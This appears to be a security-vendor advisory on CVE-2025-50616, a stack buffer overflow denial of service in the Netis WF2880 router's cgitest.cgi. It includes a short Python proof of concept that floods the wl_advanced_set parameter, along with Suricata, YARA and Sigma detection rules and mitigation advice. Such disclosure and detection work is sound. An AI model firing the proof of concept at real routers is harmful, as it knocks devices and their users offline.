CVE-2025-50616

Executive Summary

CVE-2025-50616 is a buffer overflow vulnerability in the Netis WF2880 router, specifically in firmware version v2.1.40207. The flaw resides in the FUN_0046f984 function within the cgitest.cgi binary. An attacker can trigger a Denial of Service (DoS) by controlling the wl_advanced_set parameter in the HTTP payload, causing the program to crash. No patch is currently available, and no public exploit code has been released. The vulnerability is classified as a buffer overflow (CWE-120) and is associated with MITRE ATT&CK tactic T1499 (Endpoint Denial of Service).

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (Netis WF2880 router). No supply chain implications are identified.

CVSS Breakdown & Threat Level

The CVSS score is listed as 0.0, indicating insufficient data for scoring. However, based on the description, the vulnerability is likely to have a high availability impact (DoS) with low attack complexity (network-based, no authentication required). A reasonable CVSS vector would be: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H (Base Score: 7.5, High). The threat level is High due to the potential for remote DoS attacks.

Deep Dive & Mechanics

The vulnerability is a classic buffer overflow in the cgitest.cgi CGI binary. The FUN_0046f984 function processes the wl_advanced_set parameter from an HTTP POST request. When an attacker supplies an overly long value for this parameter, the function copies it into a fixed-size stack buffer without proper bounds checking, leading to a stack-based buffer overflow. This overwrites the return address and other stack data, causing the program to crash and resulting in a Denial of Service.

The attack vector is remote and unauthenticated, as the CGI endpoint is exposed on the router's web interface. The vulnerability does not require any special privileges, making it easily exploitable for DoS attacks.

Vulnerable vs. Patched Code

No patched code is available. The vulnerable code is in the FUN_0046f984 function of cgitest.cgi. A hypothetical patch would involve:

• Adding bounds checking on the wl_advanced_set parameter length.
• Using safe string copy functions (e.g., strncpy or snprintf) instead of strcpy.
• Validating input length before copying to the stack buffer.

Example of vulnerable code (pseudo):

void FUN_0046f984(char *input) {
    char buffer[256];
    strcpy(buffer, input); // No bounds check
    // ... process buffer
}

Example of patched code (pseudo):

void FUN_0046f984(char *input) {
    char buffer[256];
    if (strlen(input) >= sizeof(buffer)) {
        // Handle error, reject input
        return;
    }
    strcpy(buffer, input);
    // ... process buffer
}

Exploitation & Lab Setup

Red Team

To exploit this vulnerability, an attacker would send a crafted HTTP POST request to the router's cgitest.cgi endpoint with an overly long wl_advanced_set parameter. This will cause a buffer overflow and crash the CGI process, leading to a DoS.

Proof-of-Concept (PoC) using Python:

import requests

target = "http://192.168.1.1/cgitest.cgi"
payload = "A" * 1000  # Overflow payload
data = {"wl_advanced_set": payload}

try:
    response = requests.post(target, data=data, timeout=5)
    print(f"Response: {response.status_code}")
except requests.exceptions.RequestException as e:
    print(f"Request failed: {e}")

Note: This PoC is for educational purposes only. Unauthorized exploitation is illegal.

Blue Team

To detect exploitation attempts, monitor for:

• HTTP POST requests to /cgitest.cgi with abnormally long wl_advanced_set parameters.
• Repeated crashes of the cgitest.cgi process.
• Network traffic with large payloads to port 80/443 on the router.

Detection using Suricata:

alert http any any -> $HOME_NET any (msg:"CVE-2025-50616 - Netis WF2880 Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgitest.cgi"; http_uri; content:"wl_advanced_set"; http_client_body; pcre:"/wl_advanced_set=[A-Za-z0-9%]{500,}/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)

Indicators of Compromise (IOCs)

• Network IOCs:
  • HTTP POST requests to /cgitest.cgi with wl_advanced_set parameter length > 256 bytes.
  • Source IP addresses sending repeated large payloads to the router's web interface.
• Host IOCs:
  • Crash logs for cgitest.cgi process.
  • High CPU or memory usage on the router during attack.
• File IOCs:
  • Firmware version: Netis WF2880 v2.1.40207.

Detection Engineering

YARA Rule

rule CVE_2025_50616_Netis_WF2880_Buffer_Overflow {
    meta:
        description = "Detects buffer overflow attempts against Netis WF2880 cgitest.cgi"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-50616"
    strings:
        $cgi_path = "/cgitest.cgi"
        $param = "wl_advanced_set"
        $overflow = /wl_advanced_set=[A-Za-z0-9%]{500,}/
    condition:
        $cgi_path and $param and $overflow
}

Sigma Rule

title: CVE-2025-50616 Netis WF2880 Buffer Overflow Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP POST requests with long wl_advanced_set parameter to cgitest.cgi
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        http_method: POST
        http_uri: '/cgitest.cgi'
        http_body|contains: 'wl_advanced_set'
        http_body|length: >= 500
    condition: selection
falsepositives:
    - Legitimate long configuration values (unlikely)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (msg:"CVE-2025-50616 - Netis WF2880 Buffer Overflow Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgitest.cgi"; http_uri; content:"wl_advanced_set"; http_client_body; pcre:"/wl_advanced_set=[A-Za-z0-9%]{500,}/Ri"; classtype:attempted-dos; sid:1000001; rev:1;)

Remediation & Mitigation

• Immediate Actions:
  • Disable remote management on the router if not required.
  • Restrict access to the web interface to trusted IPs only.
  • Monitor logs for exploitation attempts.
• Long-term Fix:
  • Contact Netis for a firmware patch. If unavailable, consider replacing the device.
  • Implement a Web Application Firewall (WAF) to filter oversized parameters.
  • Use network segmentation to isolate vulnerable devices.

Valters IT
Securing Digital Frontiers